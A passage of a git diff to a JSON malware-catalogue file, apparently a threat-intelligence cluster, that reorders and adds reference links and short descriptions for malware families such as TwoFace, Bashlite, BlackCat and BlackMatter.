"https://www.zscaler.com/blogs/security-research/rise-banking-trojan-dropper-google-play-0" ], "synonyms": [], "type": [] @@ -2974,21 +3196,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat", - "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf", - "https://blog.lookout.com/xrat-mobile-threat" + "https://blog.lookout.com/xrat-mobile-threat", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "c76e2ee8-52d1-4a55-81df-5542d232ca32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a8f167a8-30b9-4953-8eb6-247f0d046d32", "value": "XRat" }, @@ -3005,6 +3218,19 @@ "uuid": "a2dad59d-2355-415c-b4d6-62236d3de4c7", "value": "YellYouth" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.zanubis", + "https://labs.k7computing.com/index.php/an-upsurge-of-new-android-banking-trojan-zanubis/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cebf13e5-dbfc-49d6-8715-e3b7687d386f", + "value": "Zanubis" + }, { "description": "", "meta": { @@ -3023,11 +3249,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.zoopark", + "https://securelist.com/whos-who-in-the-zoo/85394/", "https://securelist.com/whos-who-in-the-zoo/85394", "https://www.secureworks.com/research/threat-profiles/cobalt-juno", - "https://securelist.com/whos-who-in-the-zoo/85394/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf", + "https://securelist.com/apt-trends-report-q2-2019/91897/" ], "synonyms": [], "type": [] @@ -3041,8 +3267,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg", "https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1", - "http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2", - "https://securelist.com/ztorg-from-rooting-to-sms/78775/" + "https://securelist.com/ztorg-from-rooting-to-sms/78775/", + "http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2" ], "synonyms": [ "Qysly" @@ -3052,25 +3278,52 @@ "uuid": "9fbf97c0-d87a-47b0-a511-0147a58b5202", "value": "Ztorg" }, + { + "description": "WebShell.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/asp.nightrunner", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b0206aac-30ff-41ce-b7d4-1b94ab15e3b1", + "value": "Nightrunner" + }, + { + "description": "WebShell.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/asp.tunna", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b057f462-dc32-4f7b-95e0-98a20a48f2b2", + "value": "Tunna" + }, { "description": "According to Unit42, TwoFace is a two-staged (loader+payload) webshell, written in C# and meant to run on webservers with ASP.NET. The author of the initial loader webshell included legitimate and expected content that will be displayed if a visitor accesses the shell in a browser, likely to remain undetected. The code in the loader webshell includes obfuscated variable names and the embedded payload is encoded and encrypted. To interact with the loader webshell, the threat actor uses HTTP POST requests to the compromised server.\r\n\r\nThe secondary webshell, which we call the payload, is embedded within the loader in encrypted form and contains additional functionality that we will discuss in further detail. When the threat actor wants to interact with the remote server, they provide data that the loader will use to modify a decryption key embedded within the loader that will be in turn used to decrypt the embedded TwoFace payload. Commands supported by the payload are execution of programs, up-, download and deletion of files and capability to manipulate MAC timestamps.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/asp.twoface", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536345486.pdf", - "https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/", - "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", - "https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", "https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf", "https://www.youtube.com/watch?time_continue=1333&v=1CGAmjAV8nI", + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536345486.pdf", + "https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/", "https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/", + "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", "https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/", + "https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells/", "https://www.youtube.com/watch?v=GjquFKa4afU", - "https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/" + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf" ], "synonyms": [ "HighShell", @@ -3080,15 +3333,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "9334c430-0d83-4893-8982-66a1dc1a2b11", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a98a04e5-1f86-44b8-91ff-dbe1534782ba", "value": "TwoFace" }, @@ -3105,14 +3349,14 @@ "value": "Unidentified ASP 001 (Webshell)" }, { - "description": "", + "description": "Abcbot is a modular Go-based botnet and malware that propagates via exploits and brute force attempts. The botnet was observed launching DDoS attacks, perform internet scans, and serve web pages. It is probably linked to Xanthe-based clipjacking campaign.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.abcbot", + "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/", "https://www.cadosecurity.com/the-continued-evolution-of-abcbot/", - "https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/", "https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/", - "https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/" + "https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/" ], "synonyms": [], "type": [] @@ -3125,8 +3369,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.acbackdoor", - "https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf" + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba", + "https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/" ], "synonyms": [], "type": [] @@ -3139,17 +3384,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.acidrain", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://www.splunk.com/en_us/blog/security/threat-update-acidrain-wiper.html", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", - "https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html", - "https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/", "https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/", - "https://cybersecuritynews.com/acidrain-wiper-malware/", + "https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html", "https://www.techtimes.com/articles/273755/20220331/viasat-hit-russia-s-wiper-malware-called-acidrain-affecting-european.htm", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat" + "https://cybersecuritynews.com/acidrain-wiper-malware/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", + "https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.splunk.com/en_us/blog/security/threat-update-acidrain-wiper.html", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/" ], "synonyms": [], "type": [] @@ -3162,8 +3408,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.age_locker", - "https://therecord.media/qnap-warns-of-agelocker-ransomware-attacks-against-nas-devices/", "https://twitter.com/IntezerLabs/status/1326880812344676352", + "https://therecord.media/qnap-warns-of-agelocker-ransomware-attacks-against-nas-devices/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [], @@ -3201,21 +3447,21 @@ "value": "Aisuru" }, { - "description": "", + "description": "Backdoor deployed by the TrickBot actors. It uses DNS as the command and control channel as well as for exfiltration of data.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.anchor_dns", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.netscout.com/blog/asert/dropping-anchor", "https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/", "https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://www.netscout.com/blog/asert/dropping-anchor", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.domaintools.com/resources/blog/finding-anchordns-c2s-with-iris-investigate", - "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns" + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30" ], "synonyms": [], "type": [] @@ -3228,8 +3474,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.angryrebel", - "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-olive" + "https://www.secureworks.com/research/threat-profiles/bronze-olive", + "https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf" ], "synonyms": [ "Ghost RAT" @@ -3246,10 +3492,11 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.avoslocker", "https://blog.lexfo.fr/Avoslocker.html", "https://www.ic3.gov/Media/News/2022/220318.pdf", - "https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html", - "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen", "https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux" + "https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux", + "https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen" ], "synonyms": [], "type": [] @@ -3288,15 +3535,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", "https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/", "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", "https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings", "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", + "https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", "https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/" ], "synonyms": [], @@ -3335,24 +3583,38 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.badcall", + "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack" + ], + "synonyms": [], + "type": [] + }, + "uuid": "350817e8-4d70-455e-b1fd-000bed4a4cf4", + "value": "BADCALL (ELF)" + }, + { + "description": "Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/", + "https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/", "https://cybersecurity.att.com/blogs/labs-research/code-similarity-analysis-with-r2diaphora", - "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", - "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", - "https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.nozominetworks.com/blog/could-threat-actors-be-downgrading-their-malware-to-evade-detection/", + "http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/", + "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", + "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", - "https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/", - "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", "https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/", + "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", - "https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/", - "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", - "https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/", - "http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/" + "https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218", + "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt" ], "synonyms": [ "Gafgyt", @@ -3363,15 +3625,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "55f8fb60-6339-4bc2-baa0-41e698e11f95", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "81917a93-6a70-4334-afe2-56904c1fafe9", "value": "Bashlite" }, @@ -3388,11 +3641,28 @@ "uuid": "d8dd47a5-85fe-4f07-89dc-00301468d209", "value": "BCMPUPnP_Hunter" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bianlian", + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://rhisac.org/threat-intelligence/bianlian-ransomware-expanding-c2-infrastructure-and-operational-tempo/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f6be433e-7ed0-4777-876b-e3e2ba7d5c7f", + "value": "BianLian (ELF)" + }, { "description": "Linux version of the bifrose malware that originally targeted Windows platform only. The backdoor has the ability to perform file management, start or end a process, or start a remote shell. The connection is encrypted using a modified RC4 algorithm.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bifrost", + "https://twitter.com/strinsert1Na/status/1595553530579890176", + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf", + "https://cyberandramen.net/2022/12/30/a-quick-look-at-elf-bifrose/", "https://teamt5.org/tw/posts/technical-analysis-on-backdoor-bifrost-of-the-Chinese-apt-group-huapi/" ], "synonyms": [ @@ -3429,30 +3699,51 @@ "uuid": "8e301f58-acef-48e7-ad8b-c27d3ed38eed", "value": "BioSet" }, + { + "description": "ESXi encrypting ransomware, using a combination of the stream cipher ChaCha20 and RSA.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackbasta", + "https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://quadrantsec.com/resource/technical-analysis/black-basta-malware-overview" + ], + "synonyms": [], + "type": [] + }, + "uuid": "35c86fef-18fe-491c-ad3c-13f98e8f5584", + "value": "Black Basta (ELF)" + }, { "description": "ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.\r\n\r\nALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat", - "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", - "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", - "https://securelist.com/new-ransomware-trends-in-2022/106457/", - "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", - "https://blog.group-ib.com/blackcat", - "https://killingthebear.jorgetesta.tech/actors/alphv", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html", - "https://www.forescout.com/resources/analysis-of-an-alphv-incident", - "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", - "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", - "https://securelist.com/a-bad-luck-blackcat/106254/", + "https://www.intrinsec.com/alphv-ransomware-gang-analysis/", + "https://github.com/rivitna/Malware/tree/main/BlackCat/ALPHV3", "https://twitter.com/sisoma2/status/1473243875158499330", "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", - "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", + "https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/", + "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", + "https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/", + "https://securelist.com/a-bad-luck-blackcat/106254/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html", + "https://www.forescout.com/resources/analysis-of-an-alphv-incident", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/", "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/", - "https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/" + "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", + "https://blog.group-ib.com/blackcat", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://killingthebear.jorgetesta.tech/actors/alphv", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous" ], "synonyms": [ "ALPHV", @@ -3468,34 +3759,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackmatter", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://blog.group-ib.com/blackmatter#", - "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", - "https://twitter.com/VK_Intel/status/1423188690126266370", - "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", - "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", "https://www.bleepingcomputer.com/news/security/linux-version-of-blackmatter-ransomware-targets-vmware-esxi-servers/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", - "https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", - "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", - "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/", - "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2", "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://twitter.com/VK_Intel/status/1423188690126266370", + "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", + "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", + "https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", "https://twitter.com/GelosSnake/status/1451465959894667275", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://blog.group-ib.com/blackmatter#", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/", "https://www.mandiant.com/resources/chasing-avaddon-ransomware", - "https://us-cert.cisa.gov/ncas/alerts/aa21-291a", - "https://blog.group-ib.com/blackmatter2" + "https://blog.group-ib.com/blackmatter2", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.youtube.com/watch?v=NIiEcOryLpI", + "https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/", + 